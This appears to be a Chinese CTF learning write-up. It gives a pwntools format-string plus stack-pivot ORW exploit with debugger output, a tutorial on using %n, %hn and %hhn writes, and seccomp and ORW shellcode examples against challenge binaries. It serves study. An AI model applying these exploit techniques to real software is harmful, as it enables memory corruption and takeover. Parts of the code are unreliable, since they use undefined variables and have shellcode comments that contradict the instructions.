.bss:0000000000004040 ; FILE *stderr
.bss:0000000000004040 stderr@GLIBC_2_2_5 dq ? ; DATA XREF: LOAD:00000000000005B0↑o
.bss:0000000000004040 ; main+5A↑r
.bss:0000000000004040 ; Alternative name is 'stderr'
.bss:0000000000004040 ; Copy of shared data
.bss:0000000000004048 completed_0 db ? ; DATA XREF: __do_global_dtors_aux+4↑r
.bss:0000000000004048 ; __do_global_dtors_aux+2C↑w
.bss:0000000000004049 align 20h
.bss:0000000000004060 public name
.bss:0000000000004060 ; char name[32]
.bss:0000000000004060 name db 20h dup(?) ; DATA XREF: register_name+66↑o
.bss:0000000000004080 public welcome
.bss:0000000000004080 ; char welcome[]
.bss:0000000000004080 welcome dq ? ; DATA XREF: init_seccomp+2E↑w
.bss:0000000000004080 ; main+8C↑o
.bss:0000000000004088 qword_4088 dq ? ; DATA XREF: init_seccomp+35↑w
.bss:0000000000004088 ; init_seccomp+50↑w
.bss:0000000000004090 db ? ;
.bss:0000000000004091 db ? ;
.bss:0000000000004092 db ? ;
.bss:0000000000004093 db ? ;
.bss:0000000000004094 db ? ;

分析题目可以知道 printf(welcome); printf(s);这两个漏洞点。怎么利用呢

printf(welcome)用来泄露信息, printf(s)用来修改返回地址。

修改返回地址的时候注意有 v3 = sys_exit(0);,所以main的返回地址是不会执行的,我们要去该printf的返回地址。

printf的返回地址在哪里呢,执行格式格式化字符串漏洞的时候,call printf的时候会执行push printf的返回地址此时rsp里储存的就是

printfd的返回地址。

然后这个题目没有rdi,只有rdx_leave_ret,所以我们要利用栈迁移的知识。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(arch='amd64',log_level='debug')

#p=remote('nc1.ctfplus.cn',23202)

p = process('./pwn', aslr=False)
e=ELF('./pwn')

libc=ELF('./libc.so.6.1')

py=b'a'*0x20 + b'%9$p%41$p%45$p'
p.sendafter(b'Input your name: ',py)

p.recvuntil(b'0x')
ebp=int(p.recv(12),16)-(0x7fffffffe298-0x7fffffffe1c0+0x10) #*ebp = rbp
p.recvuntil(b'0x')
base=int(p.recv(12),16)-(0x7ffff7c2a1ca-0x7ffff7c00000)
p.recvuntil(b'0x')
main=int(p.recv(12),16)

print("[+] ebp leak :", hex(rbp))
print("[+] libc base :", hex(base))
print("[+] main addr :", hex(main))

bss=main+0x04000-0x13dd+0x700
ret=main-0x13dd+0x14ed
rdi=base+0x000000000010f78b
rsi=base+0x0000000000110a7d
rdx_leave_ret=base+0x00000000000981ad
open_addr=base+libc.sym['open']
read_addr=base+libc.sym['read']
puts_addr=base+libc.sym['puts']

ret=rbp+8 #printf的返回地址,有sys_exit(0);无法执行到main的返回地址。
s1=0xec #leave ret;
s2=(ebp+0x40-0xec)&0xffff #0xec + s2= (ebp+0x40)
payload = f'%{s1}c%10$hhn%{s2}c%11$hn'.encode().ljust(0x20,b'\x00')+p64(ret)+p64(ebp) #修改地址
payload += p64(ebp + 0x80)
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open_addr)
payload += p64(rdx_leave_ret) + p64(0x30) + p64(ebp - 0x20)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(read_addr)
payload += p64(rdi) + p64(bss) + p64(puts_addr) + b'flag\x00'
io.send(payload)


#gdb.attach(p)
#pause()
p.interactive()

先写exp,再一步一步解释。由于我本地的环境和远程的不同,所以我就用本地的数据来讲解远程的这些数据是具体怎么算的。

我看有的师傅调试的是和远程的一样的,不知道怎么搞的,希望可以教教我。

远程环境是b’%9$p%41$p%45$p’

我的本地环境是b’%45$p%41$p%43$p’。

我们看stack的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> stack 50
00:0000│ rsi rsp 0x7fffffffda70 ◂— 'aaaaaaaa\n'
01:0008│ 0x7fffffffda78 ◂— 0xa /* '\n' */
02:0010│ 0x7fffffffda80 ◂— 0x0
... ↓
20:0100│ 0x7fffffffdb70 ◂— 0x1000
21:0108│ 0x7fffffffdb78 ◂— 0xd7e8bb9986d14c00
22:0110│ rbp 0x7fffffffdb80 ◂— 0x1
23:0118│ 0x7fffffffdb88 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov edi, eax
24:0120│ 0x7fffffffdb90 ◂— 0x0
25:0128│ 0x7fffffffdb98 —▸ 0x5555555553dd (main) ◂— endbr64
26:0130│ 0x7fffffffdba0 ◂— 0x1ffffdc80
27:0138│ 0x7fffffffdba8 —▸ 0x7fffffffdc98 —▸ 0x7fffffffdf34 ◂— '/home/linkpwn/pwn'
28:0140│ 0x7fffffffdbb0 ◂— 0x0
29:0148│ 0x7fffffffdbb8 ◂— 0xe48eb1770986b38c
2a:0150│ 0x7fffffffdbc0 —▸ 0x7fffffffdc98 —▸ 0x7fffffffdf34 ◂— '/home/linkpwn/pwn'
2b:0158│ 0x7fffffffdbc8 —▸ 0x5555555553dd (main) ◂— endbr64
2c:0160│ 0x7fffffffdbd0 —▸ 0x555555557d60 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555240 (__do_global_dtors_aux) ◂— endbr64
2d:0168│ 0x7fffffffdbd8 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
2e:0170│ 0x7fffffffdbe0 ◂— 0x1b714e88bea4b38c
2f:0178│ 0x7fffffffdbe8 ◂— 0x1b715ef2330cb38c
30:0180│ 0x7fffffffdbf0 ◂— 0x7fff00000000
31:0188│ 0x7fffffffdbf8 ◂— 0x0

rbp的偏移 = 0x110/8 + 6= 40 (6的偏移可以更具aaaaaaa %p %p ….)这种方式算出来。

我们可以看到:

rbp + 8的地方储存的是__libc_start_call_main+128。泄露这个可以算出libc。

rbp + 24的地方0x5555555553dd 是main我们可以通过这个算出pie_base。

rbp + 40的地方0x7fffffffdc98是rsp=泄漏值-(0x7fffffffdc98-0x7fffffffda70)我们可以通过这个算出rsp。

  1. rbp=int(p.recv(12),16)-(0x7fffffffdc98-0x7fffffffda70+0x10)

    这是怎么算的,用pwndbg调试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    pwndbg> x/40gx 0x7fffffffda50
    0x7fffffffda50: 0x00007fffffffdc00 0xd7e8bb9986d14c00
    0x7fffffffda60: 0x00007fffffffdb80 0x00005555555554af
    0x7fffffffda70: 0x6161616161616161 0x000000000000000a
    0x7fffffffda80: 0x0000000000000000 0x0000000000000000
    0x7fffffffda90: 0x0000000000000000 0x0000000000000000
    0x7fffffffdaa0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdab0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdac0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdad0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdae0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdaf0: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb00: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb10: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb20: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb30: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb40: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb50: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb60: 0x0000000000000000 0x0000000000000000
    0x7fffffffdb70: 0x0000000000001000 0xd7e8bb9986d14c00
    0x7fffffffdb80: 0x0000000000000001 0x00007ffff7c29d90

    0x7fffffffda60里面储存的是rbp的地址,也就是说泄露地址-0x10的地方储存的是rbp的地址。

  2. base=int(p.recv(12),16)-(0x7ffff7c29d90- 0x7ffff7c00000)

    这个是怎么算的,我们也用pwndbg调试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000 0x555555555000 r--p 1000 0 /home/linkpwn/pwn
    0x555555555000 0x555555556000 r-xp 1000 1000 /home/linkpwn/pwn
    0x555555556000 0x555555557000 r--p 1000 2000 /home/linkpwn/pwn
    0x555555557000 0x555555558000 r--p 1000 2000 /home/linkpwn/pwn
    0x555555558000 0x555555559000 rw-p 1000 3000 /home/linkpwn/pwn
    0x555555559000 0x55555557a000 rw-p 21000 0 [heap]
    0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000 0x7ffff7dbd000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dbd000 0x7ffff7e15000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e15000 0x7ffff7e16000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e16000 0x7ffff7e1a000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1a000 0x7ffff7e1c000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1c000 0x7ffff7e29000 rw-p d000 0
    0x7ffff7f8f000 0x7ffff7f92000 rw-p 3000 0
    0x7ffff7f92000 0x7ffff7f94000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7f94000 0x7ffff7fa2000 r-xp e000 2000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7fa2000 0x7ffff7faf000 r--p d000 10000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7faf000 0x7ffff7fb0000 ---p 1000 1d000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7fb0000 0x7ffff7fb1000 r--p 1000 1d000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7fb1000 0x7ffff7fb2000 rw-p 1000 1e000 /usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.3
    0x7ffff7fbb000 0x7ffff7fbd000 rw-p 2000 0
    0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 0 [vvar]
    0x7ffff7fc1000 0x7ffff7fc3000 r-xp 2000 0 [vdso]
    0x7ffff7fc3000 0x7ffff7fc5000 r--p 2000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000 0x7ffff7fef000 r-xp 2a000 2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000 0x7ffff7ffa000 r--p b000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

    vmmap找到此时的libc的起始地址,用泄漏值计算就可以得到偏移。

泄露信息的部分就解释完了。在来解释一下第二个payload。

1
2
3
4
5
6
payload = f'%{s1}c%10$hhn%{s2}c%11$hn'.encode().ljust(0x20,b'\x00')+p64(ret)+p64(ebp) #修改地址
payload += p64(ebp + 0x80)
payload += p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open_addr)
payload += p64(rdx_leave_ret) + p64(0x30) + p64(ebp - 0x20)
payload += p64(rdi) + p64(3) + p64(rsi) + p64(bss) + p64(read_addr)
payload += p64(rdi) + p64(bss) + p64(puts_addr) + b'flag\x00'

10和11怎么算出来的:

0x20 /8 + 6 = 10;s1对应ret(格式化字符串漏洞将ret的后一个字节写入s1),11同理。

payload的执行过程

leave ret:

mov rsp rbp;

pop rbp;

pop rip;

1

现在开始格式化字符串漏洞的知识点的总结。

什么是格式化字符串?

  • 在 C/C++ 等语言中,像 printf, sprintf, fprintf, syslog 等函数使用一个格式化字符串作为第一个参数。这个字符串包含普通文本和以 % 开头的格式化说明符。
  • 函数根据格式化说明符的指示,从后续的参数列表中读取相应数量和类型的参数,并将它们格式化后输出到目标(屏幕、字符串、文件等)。

漏洞成因:

  • 程序员错误: 当程序员允许用户输入直接作为格式化字符串传递给这些格式化输出函数时,漏洞就产生了。
  • 关键区别:
    • 正确用法: printf("%s", user_input); - 用户输入被当作一个普通的字符串参数传递给 %s。函数期望一个字符串地址作为第二个参数。
    • 漏洞用法: printf(user_input); - 用户输入本身被当作格式化字符串。如果用户输入中包含 % 开头的字符序列,函数会将其解释为格式化说明符。
  • 函数行为: 当遇到格式化说明符时,函数会假设在栈(或寄存器,取决于调用约定)上存在对应的参数。它就会按照格式化说明符的要求去读取内存中它“认为”是参数的位置。

漏洞危害:

  • 信息泄露 (Read):读取栈内存、函数返回地址、库函数地址、程序代码地址、Canary值、甚至任意地址的内容(如密码、密钥)。
  • 内存覆写 (Write):向栈内存、函数返回地址、全局偏移表 (GOT)、析构函数表 (DTORS)、任意地址写入数据,从而劫持程序控制流(执行任意代码)。
  • 程序崩溃: 读取或写入无效地址导致段错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
%s - 字符串读取 (Read)

功能: 期望一个指针(地址)作为参数。函数从该地址开始读取内存,直到遇到空字符 (\0),并将读取到的字节作为字符串输出。

漏洞利用 (信息泄露):

泄露栈内容: printf("%s"); - 函数会试图将当前栈上“它认为”是参数的位置(通常是格式化字符串指针后面的位置)解释为一个指针,并尝

试读取该指针指向的内存。如果这个位置恰好包含一个有效的(或可读的)地址,就能泄露该地址处的字符串。例如:

用户输入 "%s" -> 程序崩溃或泄露栈上某个地址处的数据。

用户输入 "AAAA%x%x%x%s" -> 先泄露几个栈值 (%x),然后用其中一个值作为指针 (%s) 去读内存。

泄露任意地址内容 (结合偏移):

构造 payload:<目标地址><格式化字符串>

利用 %k$s (其中 k 是偏移量) 指定将栈上第 k 个参数当作指针,用 %s 去读取。例如:

假设 <目标地址> 被放置在栈上第 8 个参数的位置。

Payload: "\x78\x56\x34\x12%8$s" (假设 0x12345678 是目标地址,小端序写入)。

printf 看到 %8$s,就会把栈上第 8 个位置的值 0x12345678 当作指针,读取该地址处的字符串并输出。

关键点: %s 是读取目标地址指向的内存内容(直到 \0),不是读取地址本身的值。地址本身通常需要用 %p 或 %x 泄露。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
%n - 写入已打印字符数 (Write)

功能: 期望一个 int *(指向整数的指针)作为参数。该功能是漏洞实现任意地址写的核心! 函数将到目前为止已成功输出的字符总数写入到
这个指针指向的内存位置。

漏洞利用 (内存覆写):

覆写栈变量/指针/返回地址: printf("AAAA%n"); - 函数试图将已打印的字符数 (4个 A,所以是4) 写入到栈上“它认为”是参数的位置(本
该是一个 int * 的地方)。如果该位置可写,值 4 就被写入了。这通常会导致崩溃或意外行为。

覆写任意地址 (结合偏移):

构造 payload:<目标地址><填充字符><%k$n> 或 <填充字符><%k$n><目标地址> (取决于目标地址在栈上的位置)。

利用 %k$n 指定将栈上第 k 个参数当作 int *,并将已打印字符数写入该地址。

例如,要写 0xdeadbeef (4字节) 到地址 0x0804a000:

需要先打印 0xdeadbeef (3, 737, 519, 343) 个字符?这几乎不可能,因为数字太大。

解决方案: 使用 %hn 或 %hhn 分多次写 2 字节或 1 字节。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
%hn - 写入已打印字符数 (短整型 - 2字节) (Write)

功能: 期望一个 short int *(指向短整型的指针)作为参数。将到目前为止已成功输出的字符总数(只取其低 16 位)写入到这个指针指向的内存位置(写入 2 个字节)。

为什么重要? 要写入的值(如地址、Shellcode 地址)通常很大(4字节或8字节)。一次性用 %n 写入一个巨大的数字(如 0x0804a000 =
134, 520, 832)需要构造极长的输出字符串,不现实且容易出错。%hn 允许我们分两次写入一个 4 字节值(高 16 位和低 16 位)或四次写
入一个 8 字节值。

漏洞利用 (精确内存覆写):

覆写任意地址的 2 字节 (Word):

构造 payload:<目标地址><填充字符><%k$hn>

%k$hn 将已打印字符数(模 65536)的低 16 位写入到第 k 个参数指向的地址(2字节)。

覆写任意地址的 4 字节 (Dword - 常用):

假设目标地址是 0x0804a000 (要写入的值 val = 0xdeadbeef)。

将地址拆分为高 16 位 (high = 0xdead) 和低 16 位 (low = 0xbeef)。

方法 1 (地址连续):

Payload: <addr_low><addr_high><填充使总字符数=low><%m$hn><填充使总字符数=high><%n$hn> (注意 low 和 high 可能小于之前打印
的字符数,需要用模运算调整)

其中 m 是 addr_low 在栈上的位置偏移,n 是 addr_high 在栈上的位置偏移(通常 n = m + 1 或 n = m + 2,取决于指针大小)。

第一个 %m$hn 将 low 写入 addr_low 指向的地址(即 0x0804a000)。

第二个 %n$hn 将 high 写入 addr_high 指向的地址(即 0x0804a000 + 2 = 0x0804a002)。

方法 2 (地址重叠 - 更紧凑):

Payload: <addr><填充使总字符数=low><%m$hn><填充使总字符数=high><%m$hn> (但这次 addr 指向 0x0804a000)

第一个 %m$hn 将 low (0xbeef) 写入 addr (0x0804a000)。

第二个 %m$hn 会再次写入 addr (0x0804a000)。但此时已打印字符数是 low + padding_for_high = 0xbeef + ... = high (假设填充计
算正确),所以将 high (0xdead) 写入 0x0804a000。覆盖了之前写入的低位!

错误! 需要写入 addr (0x0804a000) 和 addr+2 (0x0804a002)。方法 2 不正确。

正确方法 2 (两个不同地址):

Payload: <addr_high><addr_low><填充使总字符数=low><%p$hn><填充使总字符数=high_minus_low><%q$hn>

其中 p 是 addr_low 的偏移,q 是 addr_high 的偏移。

第一个 %p$hn 写 low 到 addr_low。

第二个 %q$hn 写 high 到 addr_high。注意 high_minus_low 可能需要模 65536 计算,如果 high < low 需要加 65536。

关键点: 精确计算需要打印的字符数(通过添加特定数量的填充字符,如 %1234d)来控制写入的值。写入顺序(先低后高或先高后低)取决于
目标地址的布局和值的大小关系(避免 high < low 时需要额外处理)。
1
2
3
4
5
6
7
8
9
10
11
%hhn - 写入已打印字符数 (字符 - 1字节) (Write)

功能: 期望一个 char *(指向字符的指针)作为参数。将到目前为止已成功输出的字符总数(只取其最低 8 位)写入到这个指针指向的内存位置(写入 1 个字节)。

为什么重要? 提供最精细的控制粒度。可以分 4 次写入一个 4 字节值或 8 次写入一个 8 字节值。对于写入小值或需要非常精确控制内存内

容的场景很有用。构造 payload 可能更长(需要更多次写入),但计算相对简单(模 256)。

漏洞利用 (极其精确的内存覆写): 原理与 %hn 类似,但分成 4 个字节 (4字节地址) 或 8 个字节 (64位地址)。Payload 包含目标地址的

4/8 个部分(每个部分 1 字节)和对应的 %k$hhn 及填充。计算每个阶段需要打印的字符数(模 256)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
%p, %x, %d - 泄露数据 (Read)

%p: 以指针格式(通常是十六进制带 0x 前缀)输出参数(一个地址)。

%x/%X: 以十六进制格式(无前缀)输出参数(一个无符号整数)。常用于泄露栈上的数据(可能包含指针或 Canary)。

%d/%u: 以十进制格式输出参数(有符号/无符号整数)。也能泄露栈数据。

漏洞利用 (信息泄露 - 栈勘查):

printf("%p %p %p %p %p"); - 连续泄露栈上多个位置的值(通常是格式化字符串指针之后的栈内容)。这是最开始的“探针”,用于:

定位用户输入的格式化字符串本身在栈上的位置(找偏移量 k)。

寻找栈上的返回地址、库函数地址、Canary 值等。

printf("%100$p"); - 直接泄露栈上第 100 个“参数”位置的值(如果存在)。

结合 %s 泄露任意地址内容(如前所述)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
%k$ - 直接参数访问 (关键!)

功能: 这不是一个独立的说明符,而是修饰符。加在 % 和格式字符(如 s, n, x, p)之间,例如 %8$p, %3$s, %5$n, %10$hn。

含义: 显式指定使用格式化字符串后面的第 k 个参数(而不是按顺序使用下一个参数)。

为什么是漏洞利用的核心?

精准定位: 在格式化字符串漏洞中,攻击者可以精心构造输入字符串(包含目标地址和格式化说明符),并利用 %k$ 精确地告诉 printf 去

哪里找它需要的指针参数(用于 %s, %n, %hn, %hhn)。这使得攻击者能够读写任意指定的内存地址。

绕过不确定性: 栈的布局可能因环境而异。通过泄露栈内容(用 %p, %x),攻击者可以计算出目标地址需要放置在格式化字符串的哪个位置,进而确定正确的偏移量 k 用于 %k$。

示例:

假设通过泄露发现,用户输入的格式化字符串起始地址位于栈上第 7 个参数的位置。

攻击者 payload 开头写入 4 字节的目标地址 0x0804a000。

那么,这个目标地址就会出现在栈上第 7 个参数的位置(因为格式化字符串指针是第 1 个参数,payload 内容紧随其后)。

使用 %7$s 就可以尝试读取 0x0804a000 地址处的字符串。

使用 %7$n 就可以将已打印字符数写入 0x0804a000 地址处。

sandbox专题学习

刚刚学完栈迁移📚,发现 sandbox 🧱经常和栈迁移结合,于是就仔细学一下 sandbox 🤓!

💻 Sandbox绕过好像很多,也复杂 😤,这里只好记录一下ORW的学习 📝

orw

什么时候用orw

当程序开启沙箱保护,禁用一些系统调用,禁用execve等,使得我们不能通过使用system和execve来getshell。此时我们就要用到orw来解决这些问题。

orw是什么

orw就是open,read,write这三个函数的简写,打开flag,读取flag,写出flag通过这三步来得到flag。

sandbox的开启

第一种是利用prctl(),第二种是利用seccomp的库函数

(1) prctl():

在 Linux 系统编程中,prctl 函数结合 PR_SET_SECCOMP 或 PR_SET_NO_NEW_PRIVS 标志可用于开启 seccomp(Secure Computing)沙箱,这是一种限制进程系统调用(syscall)的安全机制。

PR_SET_NO_NEW_PRIVS:

1
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); #禁止进程及其子进程通过 execve 等获得新权限

PR_SET_SECCOMP:

严格模式(SECCOMP_MODE_STRICT):仅允许 read, write, _exit, sigreturn 四个系统调用。

1
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

过滤器模式(SECCOMP_MODE_FILTER):自定义允许/拒绝的系统调用列表(通过 BPF 规则)。

1
2
struct sock_fprog filter = { ... };  // 定义 BPF 过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter);

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct sock_filter filter[] = {
// 检查系统调用号是否在允许列表
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1), // 允许 openat
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0, 1), // 允许 read
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), // 拒绝其他
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
//SECCOMP_RET_ALLOW:允许系统调用。
//SECCOMP_RET_KILL:立即终止进程。

(2)seccomp的库函数:例如libseccomp 库

例子:仅允许进程执行 exit_group、read、write 系统调用:

1
2
3
4
5
6
#include <seccomp.h>
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // 默认拒绝所有
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx); // 加载到内核

了解完这些,就开始学习如何解决它了(orw)

seccomp-tools查看沙箱

seccomp-tools可以用来查看沙箱的情况

安装:

1
2
3
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
seccomp-tools dump ./elf #elf换成你自己的文件名

1

可以看到那些函数是可以用的。

open、read、write函数的了解

open()函数:

函数原型

1
2
3
4
5
#include <fcntl.h>
#include <unistd.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
  1. pathname

    :

    • 文件路径名(字符串),例如:"flag"、"/tmp/test.txt"。
  2. flags

    :

    • 打开文件的方式,比如只读、只写、读写等。
    • 可以组合多个标志(使用按位或 | 操作符)。
    标志常量 十六进制值 含义
    O_RDONLY 0x0 只读方式打开文件
    O_WRONLY 0x1 只写方式打开文件
    O_RDWR 0x2 读写方式打开文件

    系统调用号:

    • sys_open 的系统调用号是 5(十进制),即 0x5。
    关键点 内容
    函数名 open()
    功能 打开或创建文件
    返回值 文件描述符(成功)或 -1(失败)
    常用 flag O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_TRUNC, O_APPEND
    mode 参数 用于指定新文件权限,如 0644
    系统调用号 5(Linux x86)
    寄存器传参 eax=5, ebx=filename, ecx=flags, edx=mode

read()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf void* 用户空间的缓冲区地址,用来保存读取的数据
count size_t 要读取的最大字节数

系统调用号:

  • sys_read 的系统调用号是 3(十进制),即 0x3。
1
2
3
4
5
6
寄存器传参方式(Linux x86):
寄存器 对应参数
eax 系统调用号:3
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要读取的字节数 count

write()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf const void* 用户空间的缓冲区地址,包含要写入的数据
count size_t 要写入的最大字节数

系统调用号:

  • sys_write 的系统调用号是 4(十进制),即 0x4。

寄存器传参方式(Linux x86):

寄存器 对应参数
eax 系统调用号:4
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要写入的字节数 count

做完了铺垫,现在就开始orw

shellcode绕过

首先,看看最简单的orw,在没有开启NX的条件下,可以直接写入这三个函数执行。

2

第一种直接用汇编写

1
2
3
4
#0x67616c66根据文件名改动 0x67616c66转ASCII-->flag
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')

具体解释一下这个汇编代码,根据上面对open,read,write函数的了解,汇编也就很好理解了。

1
2
3
4
5
6
7
8
#fd = open("flag", O_RDONLY);
push 0x0 ; 将0压栈,表示以只读方式打开文件(O_RDONLY)
push 0x67616c66 ; 将"flag"字符串的ASCII值压栈(注意字节顺序是反的,实际上是'flag')
mov ebx, esp ; 将栈顶指针赋值给ebx,作为文件名指针
xor ecx, ecx ; 清空ecx寄存器(第二个参数,O_RDONLY)
xor edx, edx ; 清空edx寄存器(第三个参数,权限模式,这里不需要)
mov eax, 0x5 ; 调用sys_open (系统调用号5)
int 0x80 ; 触发中断,执行系统调用
1
2
3
4
5
mov eax, 0x3           ; 调用sys_read (系统调用号3)
mov ecx, ebx ; 文件描述符(由上一步返回值在ebx中)
xor ebx, ebx ; 清空ebx,作为文件描述符0(标准输入)
mov edx, 0x100 ; 读取长度为256字节
int 0x80 ; 触发中断,执行系统调用
1
2
3
mov eax, 0x4           ; 调用sys_write (系统调用号4)
xor ebx, ebx ; 清空ebx,作为文件描述符1(标准输出)
int 0x80 ; 触发中断,执行系统调用

还可以通过传参传入flag的位置

1
2
3
4
5
6
7
8
9
#fd = open('home/pwn/flag',0) 0x804a094根据具体情况而定
s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''

#read(fd,0x804a094,0x20)
s += ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''

#write(1,0x804a094,0x20)
s += ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; '''
payload = asm(s)+b'/home/pwn/flag\x00'

第二种直接利用pwntools

1
2
3
4
5
payload = shellcraft.open('flag')        # Open 'flag' (fd returned in EAX)
payload += shellcraft.read(3, 0x804a090, 0x100) # Read from opened FD
payload += shellcraft.write(1, 0x804a090, 0x100) # Write to stdout (FD 1)
p.sendline(asm(payload))
#不知道为什么没打通理论上是可以的

2

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
io = process("./orw")
io.recvuntil(b'shellcode:')
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
payload = shellcode
io.send(payload)
io.interactive()
ROP绕过

例题

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gift();
init_sandbox();
sandboxx();
return 0;
}
1
2
3
4
5
6
7
8
9
ssize_t sandboxx()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

puts("Welcome to the Sandbox Challenge");
puts("Maybe you need an open read wirte ");
printf("please input your name:");
return read(0, buf, 0x100uLL);
}
1
2
3
4
5
int gift()
{
puts("I will give you a nice little gift");
return printf("Leak: %p\n", &puts);
}

exp

1
2
3
4
5
6
7
8
